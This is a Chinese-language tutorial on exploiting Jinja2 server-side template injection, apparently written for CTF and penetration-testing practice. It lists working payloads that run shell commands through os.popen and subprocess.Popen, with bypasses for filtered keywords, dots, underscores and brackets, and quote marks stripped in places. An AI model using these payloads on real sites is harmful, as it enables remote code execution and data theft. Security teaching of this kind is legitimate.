SSTI绕过实战:从基础探测到无符号命令执行
1. SSTI漏洞基础探测与确认当你发现一个疑似存在SSTI服务器端模板注入漏洞的Web应用时第一步就是要确认漏洞是否存在。这就像医生给病人看病得先确诊才能对症下药。最简单的测试方法就是输入一个数学表达式比如{{7*7}}。如果页面返回了49那基本可以确定存在SSTI漏洞。我遇到过不少案例有些开发者会直接在前端显示这个计算结果完全没意识到这是个安全隐患。但有时候事情没那么简单。有些系统会对特殊字符进行过滤这时候就需要变通一下。比如尝试{7*7}或者${7*7}看看不同的模板语法是否能被解析。记得有一次测试我试了三种不同的语法才最终确认漏洞存在。2. 初级绕过直接命令执行确认漏洞存在后最简单的利用方式就是直接执行系统命令。在Jinja2模板中可以通过config对象的全局变量来访问操作系统功能。典型的payload是这样的{{config.__class__.__init__.__globals__[os].popen(cat /flag).read()}}这个payload的工作原理是从config对象开始获取它的类__class__访问类的初始化方法__init__获取全局变量字典__globals__从中取出os模块使用popen执行命令并读取结果不过在实际测试中我发现很多系统会直接拦截config或者os这样的关键词。这时候就需要考虑其他方法了。3. 中级绕过子类枚举技术当直接使用config被拦截时我们可以通过Python的对象继承链来找到其他可用的类。这个方法稍微复杂点但成功率很高。具体操作是这样的{{.__class__.mro()[1].__subclasses__()[396](cat /flag, shellTrue, stdout-1).communicate()[0]}}我来拆解下这个payload从一个空字符串开始获取它的类__class__查看方法解析顺序mro()取第二个父类通常是object获取所有子类__subclasses__()找到第396个子类通常是subprocess.Popen用它来执行命令这里的关键是要知道正确的子类索引。不同Python版本这个索引可能不同所以需要先测试确定。我建议写个脚本来自动枚举所有子类找出可用的那个。4. 高级绕过处理特殊字符过滤现在很多防护措施会过滤点号、下划线和方括号这些特殊字符。这时候就需要更高级的绕过技术了。4.1 使用字典访问替代点号当点号被过滤时可以用字典访问的方式替代{{request[application][__globals__][__builtins__][__import__](os)[popen](cat /flag)[read]()}}4.2 使用十六进制编码绕过如果下划线也被过滤可以尝试用十六进制编码{{request[application][\x5f\x5fglobals\x5f\x5f][\x5f\x5fbuiltins\x5f\x5f][\x5f\x5fimport\x5f\x5f](os)[popen](cat /flag)[read]()}}这里\x5f就是下划线的十六进制表示。我在实际测试中发现很多WAF对这类编码的检测并不完善。5. 终极绕过无符号命令执行当所有特殊字符都被严格过滤时就需要祭出终极武器了——完全不使用点号、下划线和方括号的命令执行。5.1 使用attr过滤器Jinja2的attr过滤器可以动态访问属性{{request |attr(application) |attr(\x5f\x5fglobals\x5f\x5f) |attr(\x5f\x5fgetitem\x5f\x5f)(\x5f\x5fbuiltins\x5f\x5f) |attr(\x5f\x5fgetitem\x5f\x5f)(\x5f\x5fimport\x5f\x5f)(os) |attr(popen)(cat /flag) |attr(read)()}}这个payload完全使用管道符|和attr过滤器来替代所有属性访问操作。虽然看起来复杂但绕过效果非常好。5.2 动态循环查找可用类当不知道具体类索引时可以用循环动态查找{% for x in ().__class__.__base__.__subclasses__() %} {% if warning in x.__name__ %} {{ x()._module.__builtins__[__import__](os).popen(request.args.input).read() }} {% endif %} {% endfor %}这个技巧会自动遍历所有子类找到名称包含warning的类通常是subprocess.Popen的别名然后用它来执行命令。这种方法特别适合对抗随机化的防护措施。6. 实战经验与技巧在实际渗透测试中我发现以下几个技巧特别有用多准备几个payload不要只依赖一种方法准备不同复杂度的payload应对不同防护级别。注意错误信息有时候错误信息会泄露有用的调试信息比如可用的类名或过滤规则。自动化测试写个小脚本自动测试不同子类索引可以节省大量时间。注意命令结果长度限制有些系统会截断输出这时候可以考虑把结果写入文件再分段读取。环境差异不同Python版本、不同框架的子类索引可能不同测试时要注意环境一致性。记住这些技术只应用于合法授权的安全测试。在实际测试中我遇到过各种奇怪的防护措施但通过组合使用这些方法基本上都能找到突破口。